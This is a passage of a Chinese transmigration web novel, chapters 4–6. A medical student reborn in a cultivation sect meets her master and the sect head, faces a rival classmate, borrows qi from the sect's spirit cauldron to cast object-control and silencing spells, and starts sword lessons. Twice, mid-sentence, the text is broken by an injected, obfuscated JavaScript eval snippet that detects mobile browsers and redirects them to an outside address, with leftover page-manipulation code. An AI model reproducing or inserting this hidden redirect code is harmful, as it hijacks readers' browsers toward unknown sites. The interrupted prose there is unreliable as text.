关云铮正琢磨碗里的绿叶菜到底姓甚名谁,听见声音抬头答道:“没太多进展,但是和另一位同学……同窗谈了谈,觉得不急于一时。” 她想了想,怕师姐介意自己太过摆烂,又找补道:“师姐可会怪我学得太慢?” 连映失笑:“修习本就顺应天时,或快或慢都是每个人既定的命数,不必太过刻意。” 关云铮消除忧虑,点点头继续吃菜了。 闻越把嘴里的馒头囫囵咽了,端过手边的甜汤顺了顺,又开口道:“哪个同窗?今早我陪你去见到的那个和你一般大的?” 关云铮抬头看他,点点头。 闻越:“我为什么从你眼神中读出了惊讶。” 关云铮心说你没看错因为我没想到你居然这么聪明。 好在闻越不甚在意,喝酒似的把剩下的甜汤一口干了:“她是天问这一辈中最有天资的弟子,十岁便可问天,来这估计是想寻个不寻常的机缘。” 闻越又夹了一筷子菜入口,被难吃得皱了皱脸,双眼皮都挤成单眼皮了,缓了一会儿才继续说:“没准你就是她的机缘呢。” 关云铮摇摇头,觉得自己这个菜鸟不怎么配。 吃得差不多了,她想起还有没问完的问题,趁师姐还没走,问道:“师姐知道武器和术法两门课的先生是谁吗?” “术法先生是我们门派的掌门。”连映有问必答。 “掌门怎么也来教习?”关云铮有点惊讶,这种校长教书的情节不该发生在师资稀缺的小破学校吗,怎么他们门派会……难道这里就是修仙界的小破学校? 这样好像楚悯哥哥不愿意她来这的理由也有了。 连映似乎看穿了她内心所想,笑了声说道:“因为我们师父不愿意当这个先生,所以只好掌门来担任了。” 关云铮这下脑补也来不及了,脱口而出:“啊?” “师父和掌门是师兄弟,他们那一辈,资历最长的是门中大长老,因为沉迷酿酒和制丹,被师祖批了句不务正业,便一直不务正业至今。” “资历第二的便是我们师父,可惜并无太多家国天下的襟怀,是以也不能胜任掌门一职。” “听闻那一辈还有其他弟子,但都下山云游各处,归期不定,所以掌门就落在了——年资最小的现任掌门身上。” 关云铮:哇哦。 这是什么靠谱老幺照进现实,不对,照进修仙界。 连映想了想,继续说道:“教武器的先生目前尚不知晓,估计并不出自我门,暂时也没听到什么说法。” 关云铮点点头,追问道:“掌门师叔考核严格吗?” 连映笑眯眯:“严。” 关云铮:师姐你怎么笑得出来的师姐。 “考核除外,师叔平时并不严苛,你要是能看见他和我们师父相处,就不会怕他了。” 关云铮被说得好奇起来:“他们是怎么相处的啊?” 连映笑得眼睛都弯起来:“下次带你看看。” 4. 第 4 章 “我说能不能不要再让对医学毫无了解的人写医学相关角色了?刻板印象大爆发是吧?”关云铮被小说里的某些情节搞得吐槽无能。 室友自然而然地笑着接话:“又不是每个作者都是我们这样的纯种牛马,人家对医学是充满幻想的啦~” 关云铮恶狠狠的:“真的很想让这些人都来学医,被现实狠狠地打几个耳刮子。” 另一个室友走过来,深情地托起关云铮的脸:“我看看——也没被打肿嘛,还能再当几年牛马。” 关云铮在她手心浮夸地挣扎:“再学医我就要死了!” “不会死的云崽,你要是不行了我们三个接力,总能把你按活的。”最后一个室友从卫生间里出来,非常平静地接话道。 “什么时候你们一个人就能把五个循环按完,再跟我说这话。”关云铮迅速冷静。 “哈哈哈哈哈哈哈” …… 关云铮在凌晨的一片漆黑中睁开眼,面无表情地想:我怎么会做这种梦? 太下头了吧! 不过也不知道她是不是真的猝死了,如果真像“约定俗成”的那样,她倒是不太介意她一人升天,全寝室鸡犬得道的。 反正她都已经死了,能有点用已经算是最好的结果了。 而且她也说过绝对不捐献遗体了,应该没事,死后尸体不会被某些脑残医学生解剖得一片狼藉。 “唉……”关云铮悠悠地叹了口气。 那边世界的结局无法挽回,那这边呢?原身到底发生了什么? 她是灵魂夺取了这副身体,还是像那些小说一样,原身主动献祭了肉身? 如果是前者,她实在没法心安理得地占着这副躯壳。 但如果是后者,原身又想让她实现什么心愿?她并非怨念强大的恶鬼,也没有多么机敏的心思,又能为她做些什么呢? 倘若原身还有家人,见到她的话会不会发现壳子里已经换了个人?仙门又会不会看出她并不是这个世界的人?被发现的话会怎么样?灵魂会被驱逐吗? 本来已经破罐子破摔地过了一天,做的这个梦又让她忧虑起未来的生活了。 辗转了几遍还是睡不着,估摸着也快天亮了,索性坐起来准备洗漱。 没想到刚走到小院就听见了交谈的声音。 “师兄,你当真不愿意?”没听过的声音,听着很年轻。 “我疏于修炼,术法口诀什么的都快忘了个精光,怎么能够去教习弟子呢?”章存舒的声音。 关云铮眨眨眼,哦,没听过的那个声音是掌门。 昨天师姐才说有机会让她见见师兄弟二人的相处模式,今天就听到了。 虽然很感兴趣,但是偷听想必是会被发现的,她还是先溜为上吧。 关云铮刚准备悄悄溜回房,就听见掌门章存舒说:“小关起了?正好,来见见你小师叔。” 她都没看见他俩人,真是服了,下次一定要逃得更快点。 关云铮认命地往声源处走,见到了坐在围栏上的她师父,和站在一边的掌门。 掌门看起来和她印象中章存舒的身高差不多,发髻绾得很严谨,不像她师父此刻,只随便束了条发带。 长相倒是不怎么严肃得起来,看着比较清秀的样子,眉眼没什么攻击性,难怪被她师父轻易拿捏。 不过能当掌门应该还是有威严的时候的,就比如现在,关云铮一对上他俩一起看过来的眼神:不敢动,完全不敢动。 “你是云铮?”掌门看她。 关云铮默默回忆了一下电视剧里古代怎么行礼,希望面前这位不会介意她的照猫画虎,把手搭一块儿鞠了个躬:“掌门好。” 掌门没说话,倒是章存舒笑了声。 “你笑什么?”掌门问道。 关云铮刚想偷偷抬眼看一眼,就感觉手肘被什么力道自下往上托了一把,重新站直了。 咦。好熟悉的手法,是掌门还是师父? 抬起眼时正撞上掌门拢回去袖子,章存舒坐在围栏上笑道:“笑小关对你太客气了。” “都像你一样,门派还有没有规矩了?”掌门不怎么明显地瞪了章存舒一眼。 一边站着的关云铮:可以说吗,家人,好像有点嗑到了。 “昨日引气入体学得如何?”章存舒也不怎么在意被瞪的那一眼,继续问道。 关云铮很想坦白自己不会,但又不知道能不能在掌门面前这么说,于是皱了皱脸:“有所领悟。” 掌门此刻倒是先开口了:“无须急于求成,今日我会来教你们术法,或许对引气入体有所裨益。” 真的假的。引气入体都这么难,术法能简单到哪儿去。 “行了,你乐意在学堂外见到先生吗,说个没完了还。小关去玩吧,以后不用这么早起。”章存舒从围栏上站起来。 关云铮:这是可以的吗师父。 她默默又看了两人一眼,发现掌门看起来确实不在意,于是悄悄转身,踩着小碎步溜走了。 上午的引气入体依旧是放养式教学,褚先生提点了几句,嘱咐了有问题随时可以去问他,就让大家四散开来自行领悟了。 关云铮正思考着今天该去哪领(发)悟(呆),就被人从身后轻轻地拉了拉袖子。 楚悯在她身后,从袖子里摸出一个油纸包。 关云铮:好吃的! 大概是她两眼放光的样子太过明显,楚悯笑了一下,把油纸包递给她后说道:“绿豆糕,给你吃。” 关云铮其实也不太明白为什么她跟楚悯素昧平生,她却对自己格外友好。 但她是个脑子里不主动装勾心斗角的性格,看到可爱的女孩子只会想着贴贴,不会觉得是要雌竞或暗计害人之类,所以犹豫了不到一秒就美滋滋地把油纸包揣到手里了。 “听闻下午要学术法。”楚悯看她准备开始吃,又拉了拉她的袖子,示意她别这么明目张胆,稍微到找个不这么显眼的地方开小灶。 关云铮叼着半块绿豆糕,乖乖跟在她身后。 待把嘴里这块嚼完,她才含含糊糊地说:“好像是掌门师叔来教。” 楚悯若有所思:“步掌门吗?” 关云铮点点头,又摇摇头。 楚悯的脸上展露了一点好奇。 “我只知道是掌门,还不知道他的名字。”她说话前又塞了半块绿豆糕入口,腮帮子一鼓一鼓的。 楚悯笑起来:“褚先生名鹤贤,仙鹤的鹤,贤能的贤。你们的掌门姓步名雁山……” 关云铮眨眨眼:“雁过千山?”她第一反应就是这么个组合。 楚悯其实完全没听过这个词,但是听着感觉这意境确实对上了那两个字,于是点点头继续说:“明日开始,会有一位新的先生教习武器,我推测,是位江湖散修。” “为何?”关云铮吃完最后一块绿豆糕,把油纸包重新包好,叠到不能再叠,找了块脚边的石头在地上压住。 “仙盟早期的集中教习安排的都是仙门中的各位前辈,后来被民间的散修一致反对,说这样选人无法将日渐式微的仙门盘活,应多将目光投向民间,选贤举能。” 不知道是不是关云铮的错觉,总感觉今天楚悯说这段话时候的速度比昨天更慢了一点。 不过她这听到选贤举能就想往下接讲信修睦的本能是怎么回事?醒醒关云铮这里不是大同社会! “所以从去年起,三位教习先生中就有一位来自民间散修,今年若不出意外,应当就是那位教习武器的先生了。” 楚悯说完这些,低下头轻轻地叹了口气。 关云铮没错过那声叹息,默默靠近:“你要是一次说很多话很累的话,可以精练点,我应该能听懂。” 总感觉楚悯像是社交能量耗尽了呢。 楚悯抬起头,眼神有点惊讶,很快笑了笑说:“好,谢谢云铮。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853160|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 这点小事怎么还道谢,楚悯真是乖乖仔。 关云铮身体里二十岁的女大之魂觉醒了,想要捏楚悯脸蛋的手蠢蠢欲动。 手:可爱,想捏 关云铮:不你不想,才认识一天半不到你就要捏人脸你是变态吗? 两人所在的角落并不算非常隐蔽,很快就有人声从旁边传来,听起来距离她们越来越近。 关云铮感觉楚悯可能有点社恐,把脚边油纸包捡起来后刚想拉上她逃跑,就被来人的声音叫住了。 “你们是在这躲懒还是偷吃呢?” 好家伙,两个选项没一个好的。 关云铮寻思这破嘴最好是她该认识或者认识楚悯的人,不然她可能会忍不住开怼。 “王熙凤”式的短暂几秒出场结束,那个只闻其声不见其人的人终于露了面。 关云铮面无表情:果然不认识。 以后要是真遇上什么跟原身关系好的人没认出来,希望不会被敏锐的人发现这身体已经被别人的灵魂占用了。 不过为了避免这种情况,她是不是该想点像样点的理由?总不能上个学还把自己上失忆了吧。 正这样想着,来人似乎是看她没有反应,把炮火轰向了她这边。 “你就是归墟苍生道今年新招的那个弟子?” 关云铮反应乏善可陈,只对他点了一下头。 那人倒是没影视剧里的经典炮灰角色那样,那么容易被激怒破防,看到她这样倒是没生气,又问道:“你们归墟倒也不算小门小户,怎么还留着没出息的苍生道?” 哦,难怪不破防,原来是希望我破防。 关云铮心想:可惜了,我对这个世界一无所知甚至还没产生什么感情,让我破防实在很难。 旁边的楚悯也没接话,不过关云铮怀疑她单纯是说话的能量耗光了不想说话了。 行叭,那就勉为其难跟这个人说两句吧。 “敢问仁兄是哪家高门大户的弟子?” 那人得意得非常符合关云铮对炮灰角色的刻板印象,“哼”了一声才说道:“在下赵乾达,盈都峰弟子。” 关云铮:什么名字,搞得她好想笑。 “看赵兄特意寻来,是认识我身边这位同窗,还是想跟我交个朋友?” 赵乾达倒是挺坦诚:“都有。” 楚悯终于充完能了,开口说道:“我不想和你有什么争执,希望你也不要牵扯其他门派的人。” 关云铮听完这话,立马表演了一个原地变脸:“原来你跟楚悯互相认识,那想来你也知道她现在修炼到了什么阶段吧?” 赵乾达的脸色这才有点不好看了起来:“筑基后期又如何?我早晚会到那一天的。” 关云铮点点头:“既然你还没到那一天,你还不去努力?在我们这说这些没用的,境界就能自己上去了?” 语气里全是阴阳怪气,毫无半分关心。 “你!” 关云铮拿着叠成一小块的油纸包站起来,转过身拉起楚悯走了。 万一破防打人了怎么办,暂时打不过,先溜了。 一直走到昨天待过的瀑布,关云铮才停下脚步。楚悯被她拉着,看她停下才说:“打得过的。” 是她刚才逃跑时的步子太狼狈了吗,怎么就这样轻易被看穿。 “是我打不过。”关云铮坦然,“总不能你打架我看着吧。” 楚悯笑了笑:“以多胜少吗?” 关云铮坐下来捶腿:“他欺负女孩也没好到哪儿去。” 他自己都叫欠打了不打怎么对得起他的名字。关云铮在心里胡言乱语。 捶了会儿腿,她想起什么,抬起头看向楚悯:“他筑基了?” 楚悯点点头:“大概是中期。” 关云铮不捶腿了,坐直身子。 楚悯困惑看向她。 关云铮:没什么,只是没必要的斗志燃起来了。 5. 第 5 章 “怎么了,没精打采的?”闻越给关云铮盛了碗饭,看她蔫哒哒的样子忍不住问道。 关云铮接过碗,还是提不起兴致,用筷子扒拉了两下米饭,坦诚:“还没学会引气入体。” 连映刚从外面进来就听见这么一句,笑道:“这才一天半,不用急。” 关云铮想了想,感觉自己现在这么弱,遇到事情还是要告诉家长,于是放下筷子抬头:“师姐。” 连映刚用眼神示意闻越坐直,闻言转过头:“怎么啦?” “今日修习的时候,有人挑衅。”关云铮琢磨了一下措辞,寻思应该没说错。 再说了是师父说,学习过程中遇到不妥当的事可以提出来的,同学捣乱当然也算在内吧。 闻越饭也不吃了,立马坐直了:“谁欺负你了?” 关云铮惊了,没想到这个不靠谱的师兄比旁边靠谱的师姐反应还大,但还是没趁机添油加醋,老实说:“也没有,只是说了几句不太好听的话。” 师姐给她夹了一筷子菜:“哪个门派的?叫什么名字?” 要不是师姐语气还是和风细雨的,光听这两句感觉那位欠打哥像是真要被打了。 “说是叫赵乾达,天问的。”关云铮乖乖说。 “他对你说什么难听话了?”闻越也给她夹了一筷子菜。 关云铮一会儿没吃碗里菜都比饭多了,赶紧低下头吃了两口,咽了才说:“他说我们苍生道没出息。” 闻越愣了一下,过了会儿才说:“他说的……好像也没错。” 连映筷尾啪一下就抽闻越手背上了。 听着响,估计不怎么疼,因为闻越跟个没事人似的摸了摸手背,继续说:“他是天问的,那就是跟你的小伙伴有点龃龉咯?” 好高级的词汇,关云铮一边点头,一边在心里想:自己可能有必要改变一下对这位师兄的看法了。 “我看过这次弟子的名单,大多都同你一样没有根基,他和楚悯算是为数不多已经筑基的,说话轻狂些倒也在意料之内。”连映语气平静。 关云铮抱着碗看了一眼自己的师姐,发现她语气听着平和,实际上脸上没多少笑影。 闻越忽然伸长胳膊过来,摸了一把关云铮的脑袋:“不用因为他比你筑基早就着急。” 关云铮两天之内被揉乱头发两次,无奈中又带着点释怀地看着便宜三师兄。 “我们小关肯定是大器晚成!”闻越豪情万丈地一拍桌子。 错觉吗,怎么感觉看到桌腿晃了晃。 不过为什么一个两个都开始叫她小关了,总有种下一秒这些人会给她派活的感觉。 被无良带教从宿舍叫走,满医院跑腿的痛苦记忆涌上心头。 于是想了想还是决定抗议一下:“师兄。” 闻越从碗里抬起头。 “叫小关感觉怪怪的。”关云铮戳了两下碗里的米。 “那叫什么?小云?”闻越给出了第二个选项。 关云铮刚想说可以,就听见旁边连映的声音响起:“叫云崽吧。” ? 她这么大个人了也能算崽的吗? 闻越点点头:“挺好,云崽觉得怎么样?” 你都叫上了你问我? 虽然听起来是挺可爱的叭。 “我也觉得不错。” 关云铮被身后忽然响起的师父声音吓一激灵,回过头发现还有个步雁山。 怎么的今天归墟别的饭堂是没开张吗?全挤到苍生道饭堂来吃饭了? 关云铮有点想抓狂了。 “云铮觉得如何?”步雁山弯腰问她。 其他人也都笑着看向她。 好像只是看她不高兴,逗她开心的一个小玩笑。 确实没工夫焦虑学不会了,现在脑子里都在想自己二十岁了被叫崽会不会不太妥帖。 “挺好的。”关云铮放弃挣扎了,满足这群有奇怪癖好的大人。 “云崽下午想学什么术法?”步雁山从善如流地改了称呼,问她。 关云铮面无表情:“想学禁言术。” 步雁山一愣,看了眼旁边的章存舒,两人一起笑起来。 关云铮没想到自己还能有跟老师一边聊天一边走进上课教室的一天。 步雁山参与了给她起小名的环节后留在饭堂吃饭,章存舒趁着自己掌门小师弟在场,多吃了两口拔丝地瓜。 关云铮:怎么感觉师姐朝那边看了一眼。 “你待会儿直接从这过去吗?”章存舒给自己盛了碗汤。 步雁山“嗯”了声,沉浸式吃菜。 章存舒把他夹了好几筷子的菜推到他面前:“那你记得把云崽捎过去。” 步雁山点点头:“云崽今天怎么了?我看她好像兴致不高。” 章存舒垂眼挑汤里的葱:“她并不是今天兴致不高。” 察觉到他话里有话,步雁山抬起眼。 章存舒却没打算再多说:“让她自己想明白吧,或许就跟引气入体一样,只差一个契机就能了悟了。” 总之不知道自己的师父和师叔聊了些什么,关云铮就这样被吃完饭的步雁山捎走了。 “云崽,想学禁言术?”步雁山帮她拂开一束低处的花枝。 关云铮点点头。 虽然当时听起来可能有点像是她的小小反击,但她确实一直想学禁言术来着。 不想听人废话就可以直接一招禁言让人闭嘴,想想就好爽。 不过确实有个问题需要问问。 关云铮抬起头:“没学会引气入体的话,能学术法吗?” 毕竟术法应该也要借灵气,和引气入体本质上是同一种吧? 步雁山笑着和路过的一个弟子打了个招呼,回过头来说:“可以学,引气入体为的是离开了仙山也能运用天地灵气,现在你在仙山上,可以向仙山借灵气。” “借?”修仙文诚不我欺。 “当今各大成型的仙门之中都有各自的灵器,能够将有形的供养之物转化为无形的灵气,供仙门内部使用。” “归墟门中的灵器名叫不熄鼎,是个……”步雁山在拐角处放慢步子,刚要续上自己的话,就被若有所思的关云铮接过话头:“大火炉子?” 步雁山一愣,笑起来:“对,大火炉子。” 关云铮这才意识到原来刚才不是他在等自己接话,有点不好意思地挪开了目光。 诶?这里不是学堂? 步雁山摸了摸她的脑袋:“我去学堂把你的同窗们叫出来上课,你先在这里玩会儿。” 还有这种好事? 这就是走后门的感觉吗? 学术法的感觉有点像是哈利波特里念咒语,只不过哈利波特伴随的动作是挥舞魔杖,术法是手势。 不过好像邓校念咒都很少挥魔杖诶,不知道修仙界厉害的人能不能不用手势就施展法术。 关云铮想到这,悄悄凑近旁边的楚悯,问出了心里的疑问。 “可以的。”楚悯点点头,“大概可以算是……念随心至吧?” 好的,变强的动力又多了一分。 不然未来某天,倘若能跟高手对阵,施术前还要比划手势,岂不是让对方预判了。 还是在心里憋坏比较好。 今天教的是基础的御物术,据步雁山的说法,是为了让他们后续的武器课程进展得更为顺利。 这样说来,引气入体跟术法相辅相成,术法首先学的御物又对武器课程大有裨益,这一套流程下来比现代的教学课程还要合理得多啊。 至少她并不觉得大一就学系解对她的大学生涯有什么好处,充其量就是增加了她的挂科风险。 每次复习到运动系统就想放弃的痛,谁懂。 关云铮感觉自己的脑子一想到医学相关的事情就痛,默默清空这些想法,看向讲解的步雁山。 让我看看御物术是要御个什么。 好家伙。 还真是羽毛啊?! 这下真成哈利波特东方修仙版了。 同窗之中有人出声问道:“是要将羽毛浮空吗?” 步雁山已经分发完了所有的羽毛,转回身道:“羽毛动了就算成功。” 这么简单?真的假的? 有人追问:“可这里有风,羽毛本来就会动吧。” 步雁山抬起手感受了一下,笑着问道:“有风吗?” 关云铮前一秒还因为被风吹起来的刘海拂到脸上觉得痒,这一秒抬起头,却发现风悄无声息地停了。 好像……就是在步雁山抬起手后。 关云铮再一次发出感慨:斗宗强者恐怖如斯! 不过自己不也能造风吗? 关云铮试着用手小幅度扇了扇面前的羽毛。 纹丝不动。 不愧是只有天才赫敏能学会的魔法。 关云铮在心里吐槽了一会儿,开始照猫画虎地练习御物术的手势。 先伸出食指中指并在一起——嗯,标准起势;再指向自己想要控制的物件,凝神——开始玄幻了;二指并拢在物件周围画个圈——可能是为了借灵气,不懂,但照做了;把物件指引向想要它去的地方,比如把羽毛抬起来——羽毛纹丝不动。 虽然御物术是初级术法,但关云铮愣是精神和手指双重紧绷,一套流程下来把自己绷累了。 这回换楚悯悄悄凑过来了:“你可以在心里跟灵器借灵力,借到了成功的概率就高很多了。” 合着还是不会用灵气的原因,那还是得抓紧学会引气入体。 “我怎么跟它借?叫它名字吗?”关云铮茫然。 楚悯弯弯眼睛:“可以一试。” 合着过来路上掌门是故意跟她说到灵器的?因为知道她还没引气入体学术法可能会有障碍?方便她这会儿喊人家名字抢钱,不是,借灵气? 关云铮怀着满腔疑虑闭上眼睛,在心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853161|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默默说道:那什么,不熄鼎前辈? 不知道是不是她突发耳鸣,她真的听到了类似古代敲击编钟发出的声响。 像来自遥远之地的嗡鸣。 关云铮很难形容自己这一刻的感觉,因为这声嗡鸣过后,她发现这种声音并没有持续,也就排除了她生理性耳鸣的可能。 她这样连引气入体都没能学会的人,为什么会引起一个仙门灵器的振响? 还是说这个灵器实际上平易近人,谁的呼喊都会回应? 但这种情况显然根本不可能,谁喊都会应,一口鼎岂不是要响成钟了? 关云铮思绪混乱,但还没忘了借点灵气,于是又继续默念:我还没学会引气入体,可以先问您借点灵气学个御物术吗? 没有回应。 她静静等了一会儿,耳边只有周围同窗们的低语声。 好吧,可能刚才真的是她的错觉。 关云铮睁开眼,刚想跟楚悯说自己试了没用,却发现自己面前的羽毛浮起来了。 真浮,虽然只离开了地面一点点距离。 她刚才闭眼前确实又随便比划了一次手势来着。 但这? 延迟响应? 她刚才高ping了? 楚悯笑着看过来:“你成功了。” 关云铮比刚才更茫然了。 她想了想决定再试一次,并二指,凝神,指物,起! 羽毛在离开地面一点距离的地方颤了颤,飘起来了。 关云铮瞳孔地震,举起自己的手看了看,放下,再举起来,再看。 是她的手没错,被控制得好好的。 关云铮再次悄悄靠近楚悯:“借来的灵气要怎么还回去呢?” “你不需要时会被灵器取回。”楚悯像个尽忠职守的百科全书,有问必答。 果然是灵器啊,还能判断她需不需要。什么时候知识也能这样在她不需要时才离开她的脑子就好了,她也不至于到期末看着自己整个学期做的笔记都能大脑放空。 关云铮感觉自己凭借灵器的帮忙,稀里糊涂就“学会”了御物术,是该好好道个谢,于是重新闭上眼睛:不熄鼎前辈,多谢您借我的灵气。 那嗡鸣声再度响起。 关云铮睁开眼。 原来真的借成功了吗? 到底为什么会借给她呢? 她还打算再钻一会儿牛角尖,步雁山从远处走过来,在她旁边坐下。 “掌门。”她乖乖问好。 “学的不错。”步雁山看了眼她面前的羽毛,“还有精力学禁言术吗?” 借来的灵气学会的御物术,要什么精力。 关云铮理不直气也壮地点点头,一脸认真听讲的模样。 “不过禁言术施放成功有个前提,你的修为务必高过对方,或者对方完全不设防。”步雁山在教习前来了这么一句。 关云铮:可恶,就知道这么爽的术法有条件。 步雁山看她表情不变,知道她还是想学,于是在她面前演示了一遍术法手势。 简单地并拢二指打出去就行? 比参考答案是略的含金量还高。 关云铮跟着学了一遍。 步雁山点点头,指尖亮起一簇微白的光。 “接下来运用灵气施放即可。” 《即可》 关云铮希望不惜鼎还没收回她的灵气,并起二指试了试。 “凝神。” 好,凝神。 “施放。” 好,施放。 “唔,唔唔唔!”关云铮听见不远处传来奇怪的声音,像是被捂住嘴说不出话的动静。 ?禁言术成功了?放到谁身上了? 关云铮张望了一下。 “噗。”看清说不出话的人是谁后,关云铮没忍住笑出了声。 步雁山也看到了被禁言的人是是谁,低头问她:“云崽认识?” “是今早对我和楚悯出言不逊的人。”关云铮老实回答。 步雁山点点头:“那就先禁一会儿吧。” 关云铮抬头看他。 步雁山对上她视线:“怎么了?” 关云铮想了想,还是决定吐槽出口,不然要把自己憋坏了:“我总觉得掌门像是师父变的。” 因为刚才说那句话的时候,步雁山看着光风霁月,实际上像个很会坑人的黑芝麻汤圆。 就像她师父一样。 步雁山笑起来:“可能因为我门中人,都比较护短吧。” 所以在这些时刻,总会非常相像。 他和章存舒以前的师门,和章存舒现在的师门里,都是护短的人。 关云铮眨眨眼,决定短暂收回对掌门小师叔黑芝麻汤圆的人物评价。 没准是个豆沙馅儿的呢。 关云铮把讨厌鬼禁言,心情大好,跟步雁山请示后,又拉着旁边的楚悯去别的地方玩儿了。 6. 第 6 章 关云铮搬了竹椅在院子里发呆。 修了三天仙,进展除了需要靠不熄鼎帮忙才能施展成功的禁言术和御物术之外,好像也没什么别的了。 至于自己身上的变化…… 之前觉得是因为原身物欲低下,所以没有想吃肉的念头——果然是假的。 只是还没到开始馋肉的时候罢了。 她现在就挺想吃肉的。 “唉……”关云铮向后靠在竹椅上,叹了口气。 “干嘛呢?”闻越不知道什么时候来的,从屋顶上翻下来落在她旁边。 关云铮以前还挺不禁吓的,现在感觉迟早要脱敏。 大晚上被天外飞人吓得不轻,在心里默念三遍这是师兄,关云铮才忍住想骂人的冲动,问他:“师兄怎么来了?” “我无聊,来找你聊聊。”闻越在她旁边的台阶上坐下。 关云铮心说无聊你就来吓我,迟早我要吓你一回。 她没回答,闻越倒是没在意,继续说:“明天要学武器了,感觉如何?” 关云铮坦白:“还没接触过,目前……心平气和?” “那挺好,我还担心你紧张,毕竟明天教武器那位,怪凶。”闻越想起什么似的,皱了皱脸。 关云铮:我谢谢你,本来不紧张的,现在紧张起来了。 “我听楚悯说,教习武器的是位江湖散修,师兄难道见过?” 闻越又不知道从哪里摸出来几个枣,朝关云铮一丢。 关云铮手忙脚乱地接住后一抬眼,发现闻越自己手里的半青不红,她手里的却已经熟透了。 她眨眨眼,收下对方的好意:“谢谢师兄。” “是江湖散修没错,但也是师父他请来的,以前确实见过。”闻越吃到颗酸枣,痛苦地皱眉。 关云铮咬了口枣,发现挺甜,满意地眯了眯眼:“先生比较严厉?” 闻越思考了一下,很快又不堪回想似的摇了摇头。 关云铮:害怕起来了。 闻越把枣核埋进旁边的土里,拍掉手上的土:“不过你倒是不用太担心,我觉得她会喜欢你的。” ? 你怎么敢这么说的,我想都不敢想。 闻越大晚上来搞了波压力教育,塞了几个枣,又摸了一把关云铮的脑袋,从屋顶上离开了。 关云铮:想打人。 算了,看在枣这么甜的份儿上,以后变强了再考虑揍师兄的事吧。 练武器需要大些的场地,早些时候褚先生就告知了集合地点,关云铮到了一看,发现就是自己当时刚穿越过来,跟着章存舒走出来,自我介绍那时候踩的地方。 在人群里看见楚悯,关云铮小步跑到她旁边:“小悯早。” 楚悯笑眼弯弯:“云崽早。” 关云铮瞳孔地震。 楚悯这次倒没那么玄乎了,笑着解释道:“今早过来时恰好听到掌门和你师父的谈话,听到他们叫你云崽。” 他们比我大叫我崽也就算了,你比我小多少岁啊? 我靠我是个二十岁的女大学生我会觉得自己在装嫩的啊! 好吧原身看着确实和楚悯差不多大。 蒜了。 “昨日师兄跟我说,这位武器先生怪凶。”关云铮说服自己不要在意称呼的事,跟楚悯情报共享。 楚悯思考了一会儿,刚想说点什么,就被人群中传来的惊呼声打断了。 关云铮踮脚探头。 看见八卦阵正中,插进了一把通体火红的剑。 哇哦。 “今年仙门收的学生都这么散漫吗?” 高处传来的声音。 女的?关云铮疑惑,这么帅的? 没有说女的就不帅的意思。关云铮习惯性地在心里给自己叠甲。 叠完甲一抬头,那剑已经飞回主人手里,而剑的主人是个身材高挑的女人,穿了一身黑衣,唯有袖口和衣摆滚了一圈红,远看像火燎。 “我是你们今后一年的武器先生,我姓蒲,名飞鸢,称呼随意。”她抬起手,剑自动归入她腰间剑鞘,只留个白色的剑柄在外。 人比剑还帅。关云铮感慨。 “我不会教仙门那一套御剑术,什么时候你们学会御物术了自然也就会了,我只会教你们武器的使用,我所知道的各式流派招式,甚至杀招。” 关云铮默默点头,心说就是想学这个来的。 人群中有窃窃私语,蒲飞鸢倒是不甚在意,转了个身继续说:“我自忖并非良师,但受人所托,少不得拾掇一番,扮个像样点的,要是日后教的什么不合你们仙门规矩,你们自行解决。” “今日就先教剑和一些简单的体术,没有趁手武器的,先去找褚先生领吧。”她摆摆手,把刚走到这儿的一大群学生又遣散了。 关云铮缀在后面走得慢,刚想跟楚悯聊天,听见蒲飞鸢低声说了句:“哪来这么多酸唧唧的句子要说,背得我累死了。” ? 别是她师父让这位背的吧。 关云铮和楚悯到的时候发现一批人已经去取剑了,而不远处的树下,褚先生和自家师父在下棋。 正琢磨着是看两眼可能看不懂的棋局,还是先去拿剑,章存舒已经若有所觉地转过头来,朝她招了招手。 关云铮回头看了眼楚悯,看见对方点点头后才走向章存舒。 “见到蒲先生了?”章存舒落了个白子。 褚先生看了眼他落子的位置,顾不上和关云铮打招呼,皱着眉头开始思索下一步。 “见到了。”关云铮乖乖回答。 “如何?”章存舒捏了枚棋子在指尖。 “嗯……英姿飒爽?”关云铮想了想,找了个比较合适的词。 褚先生想出对策,落下黑子,抬头看她:“她可说了什么?” 关云铮想了想,大概复述了一遍。 褚先生看向章存舒。 章存舒又落下一子,忍俊不禁:“她还真的背了。” ?合着真是你让人家体育生背书。 “你倒是会磋磨她。”褚先生想来也知道此事,摇摇头说道。 关云铮默默在心里点头。 “好了不拉着你扯闲篇了,快去拿剑吧。”章存舒似乎是下赢了,优哉游哉地对关云铮说道。 关云铮答应一声,刚要走,又听褚先生在身后说:“练剑时要小心,别伤着。” 关云铮连忙又转回身对褚先生鞠了一躬,然后急匆匆走了。 不知道唠了这么会儿会不会耽搁回去。 她一边这样想着一边快步往人群聚集处走,却发现楚悯已经抱着两柄木剑等在那儿了。 好耶。 关云铮心里美滋滋,上前接过剑,拉着楚悯走回去了。 说是武器课,其实更接近于武术课,看蒲飞鸢的意思,不仅要教他们剑的使用,更会在拳脚功夫上让他们多加练习。 简单地说就是教打架的。 现代社会学会打架的路子太少,要么就小小年纪不学好,在一次次放学别走中锻炼出来野功夫,要么就花大价钱去上课,最后学出来可能只能唬人,实际打起来没什么用的花架子。 很不幸也很合理的是,关云铮一个不占。 